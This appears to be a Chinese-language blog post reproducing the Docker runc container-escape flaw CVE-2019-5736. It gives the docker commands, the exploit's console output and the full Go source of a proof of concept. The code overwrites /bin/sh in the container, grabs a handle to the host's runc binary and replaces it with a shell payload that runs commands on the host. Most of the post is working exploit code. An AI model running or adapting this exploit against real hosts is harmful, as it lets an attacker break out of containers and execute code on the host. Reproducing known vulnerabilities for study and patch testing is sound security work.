docker-runc主机逃逸漏洞复现:CVE-2019-5736

2,739 阅读2分钟

尝试了github上的示例: github.com/Frichetten/… 复现成功。

注意:ubuntu上安装的docker 18.06似乎已经打上了补丁,我手动编译了runc的1.0.0-rc5版本才成功复现。

复现方式:

在一个terminal里面:

zhangwei@zhangwei-ubuntu-vm:~/program/gocode/src/github.com/Frichetten/CVE-2019-5736-PoC$ docker run -ti  -v $PWD/exploit:/exploit ubuntu:18.04 bash

另一个terminal内执行:

$ docker exec -ti 5b28d7ab5083 /bin/sh

此时第一个terminal的打印:

zhangwei@zhangwei-ubuntu-vm:~/program/gocode/src/github.com/Frichetten/CVE-2019-5736-PoC$ docker run -ti  -v $PWD/exploit:/exploit ubuntu:18.04 bash
root@5b28d7ab5083:/# /exploit 
[+] Overwritten /bin/sh successfully
[+] Found the PID: 17
[+] Successfully got the file handle
[-]Failed to open /proc/self/fd/3: open /proc/self/fd/3: text file busy
[+] Successfully got write handle &{0xc0000501e0}
root@5b28d7ab5083:/# 

/tmp/下多了一个passwd文件。

Ubuntu下面没有原demo里使用的/etc/shadow文件,所以我修改成了/etc/passwd,会被copy到/tmp/目录下。

修改过的源码:

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"time"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/shadow"

func main() {
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, err := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if err != nil {
			fmt.Printf("[-]Failed to open /proc/self/fd/%d: %v\n", handleFd, err)
			time.Sleep(1 * time.Second)
			continue
		}
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}